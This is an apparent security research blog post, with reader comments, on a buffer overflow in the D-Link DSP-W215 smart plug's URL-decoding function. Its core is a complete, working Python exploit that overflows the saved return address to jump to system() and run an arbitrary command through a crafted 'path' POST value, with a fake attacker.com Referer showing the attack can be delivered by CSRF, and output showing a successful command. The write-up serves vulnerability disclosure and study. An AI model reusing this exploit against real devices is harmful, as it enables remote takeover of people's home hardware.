Hacking the DSP-W215, Again, Again, Again

So far, the vulnerabilities found in the DSP-W215 have only been practically exploitable from the LAN, unless someone was foolish enough to make their smart plug remotely accessible on the Internet.

The typical way for external attackers to target internal web servers, such as the one running on the DSP-W215, is through CSRF. The problem is that any web browser used for a CSRF attack will URL encode binary values, such as our return addresses, but thus far the vulnerabilities we’ve exploited don’t URL decode our data (note that the replace_special_char function exploited in the last vulnerability only URL decodes a small range of ASCII values).

The my_cgi.cgi binary, which has been our primary target for exploitation, contains a decode function which is responsible for URL decoding POST data. This function accepts only two arguments, which are a pointer to the encoded data and a pointer to a destination buffer to store the decoded data:

void decode(char *encode_buf, char *decode_buf);

The decode function simply loops through all of the bytes in encode_buf, decoding/copying them blindly into decode_buf:

The decode while loop

The decode while loop

Roughly translated, the decode function reads:

void decode(char *encode_buf, char *decode_buf)
    int encoded_byte_len;
    char *encode_buf_end_ptr = encode_buf + strlen(encode_buf);

    // Loop through all bytes in encode_buf, without knowing how big decode_buf is
    while(encoded_data < encode_buf_end_ptr)
         * ...
         * Do Decoding of the next byte in encoded_data.
         * encoded_byte_len = number of bytes processed in this loop iteration (1 or 3).
         * ...

        decode_buf[0] = decoded_byte;
        encoded_data += encoded_byte_len;

If a calling function is not careful to allocate a large enough buffer to store all the decoded data, the decode_buf could be overflowed by a large POST parameter.

There is only one place in my_cgi.cgi where the decode function is called, which is from the get_input_entries function:

Only the "path" POST parameter is decoded

Only the “path” POST parameter is decoded

We can see that the decode function is only called if the POST parameter name is “path”, and from the memset we can infer that the decode_buf passed to the decode function is only a 0x400 byte stack buffer:

char decode_buf[0x400];

if(strcmp(entries[i]->name, "path") == 0)
    // Decode path POST value into the fixed-size decode_buf
    decode(entries[i]->value, decode_buf);
    strcpy(entries[i]->value, decode_buf);


This means that providing a POST “path” value greater than 0x400 bytes will overflow the decode_buf stack variable in the get_input_entries function. What’s more, we have no bad bytes, because the decode function will helpfully URL decode any offending bytes (NULL bytes become “%00” in our POST request, for example) before copying them to the stack.

However, we have to take care in crafting our exploit buffer such that we don’t trigger the previously described stack overflow in the replace_special_char function, which is called before get_input_entries returns.

Luckily, the data passed to replace_special_char is actually strcpy’d from decode_buf first. If we put a NULL byte near the beginning of our POST data, replace_special_char will only be passed a very small string (everything up to the first NULL byte) instead of the entire POST data that has been decoded onto the stack.

A “path” POST value greater than 1060 bytes will overflow everything in the get_input_entries stack frame up to the saved return address:

The get_input_entries stack layout

The get_input_entries stack layout

And, since we have no bad bytes, we can use the return address of 0x00405CEC that was used in previous exploits in order to call system() with a pointer to the stack ($sp+0x28):

system() call at 0x00405CEC

system() call at 0x00405CEC

Here’s some PoC code in Python that overflows the get_input_entries saved return address with the address of the call to system() at 0x00405CEC and puts a command to execute on the stack at $sp+0x28:

import sys
import urllib
import urllib2

    target = sys.argv[1]
    command = sys.argv[2]
    print "Usage: %s <target> <command>" % sys.argv[0]

url = "http://%s/common/info.cgi" % target

buf  = "\x00"               # Start with a NULL byte to prevent crashing in replace_special_chars
buf += "D" * (1060-1)       # Stack filler
buf += "\x00\x40\x5C\xEC"   # $ra, address of call to system()
buf += "E" * 0x28           # Stack filler
buf += command              # Command to execute
buf += "\x00"               # NULL terminate the command, for good measure

# URL encode the path POST value
post_data = "path=" + urllib.quote_plus(buf).replace('+', '%20')

# Set a referer to show that there are no CSRF protections
headers = {'Referer' : 'http://www.attacker.com/exploit.html'}

req = urllib2.Request(url, post_data, headers)
print urllib2.urlopen(req).read()

And, of course, it works as expected:

$ ./exploit.py 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 22 18:03 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxrwx    3 1000     1000         4096 May 24 23:26 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    6 1000     1000         4096 May 22 17:15 www
Bookmark the permalink.

11 Responses to Hacking the DSP-W215, Again, Again, Again

  1. Danny says:

    Hello. I recently started reading your blog, and I must say I’m very impressed by your skills. 🙂

    Perhaps this is a bit off-topic, but I was wondering if you would be interested in looking into hacking printers. According to the Electronic Frontier Foundation, many color printers secretly add microscopic dots to the document that can be used to identify the user: https://www.eff.org/issues/printers

    The EFF has been trying to decode the dots but has not had much success:


    Do you think it would be possible help out the EFF by reverse-engineering the printer firmware? I’d love to hear your thoughts on this!


  2. Stone Arrow Bearson says:

    Always great to read your stuff Craig!

  3. Ali says:

    Craig, Great article.
    Is it possible from now on, you put all the decoded firmwares of your blog posts in your github?
    Then it is easier to reanalyse the same codes for researchers, because personally I sometimes stuck in some of your blog posts because of decoding problems I have with firmwares.
    That would be very very helpful.

  4. Pingback: Breaking into a DSP-W215. | Imaginary Industries

  5. Kent Borg says:

    Dlink is not playing fair.

    I used the Android app to set up the wifi, and it put up a dialog saying it wanted to update the firmware, I did not tap “Okay”. But they had already done so.

    Before the original exploit worked, after none of the collection work.

    I like having security holes closed, but why is *my* accessing the device *I* paid for a security hole? (I have a kitchen “radio” that has ssh access if one wants to turn it on…)

    Are their new ways into an updated plug?

    -kb, the Kent who is annoyed with Dlink.

  6. Geert says:

    Dear Craig, Great work. I admire your dilligence and persistence. Any chance to have a look at the newer DSP-W110 model? I bought a pair from Newegg. I do have a copy of the 1.04 firmware.

  7. real says:

    Excellent article.
    Although it’s a detail, you might want to change this:
    urllib.quote_plus(buf).replace('+', '%20')

    • Craig says:

      That was done intentionally. The web server doesn’t do full URL decoding; for example, it will decode ‘%20’ as a space, but doesn’t recognize ‘+’ as an encoded space character.

      urllib.quote uses ‘+’ for spaces, which breaks the exploit if there are any spaces in buf. Maybe there’s a way to tell urllib.quote to use %20 instead (?), but this was a quick fix.

      • real says:

        urllib.quote naturally replaces ” ” (spaces) by %20 while
        urllib.quote_plus replaces ” ” by a plus sign (+).

        >>> import urllib
        >>> urllib.quote(' ')
        >>> urllib.quote_plus(' ')

  8. pixel says:

    I just bought a new DSP-W215/E which came with firmware 2.02 and a quick peek at web_cgi.cgi with IDA got me nowhere.
    To be honest, I’m a newbie to IDA so I’m sure I’ve overlooked something.
    Any chance I could tempt you into having another look at this new version?

  9. aaron says:

    Hey Craig, would you still have (or know where I can find) an older version of the firmware. I’m doing a science fair project and I can’t get this to work on the plug I bought from Amazon, because I think the firmware is too current.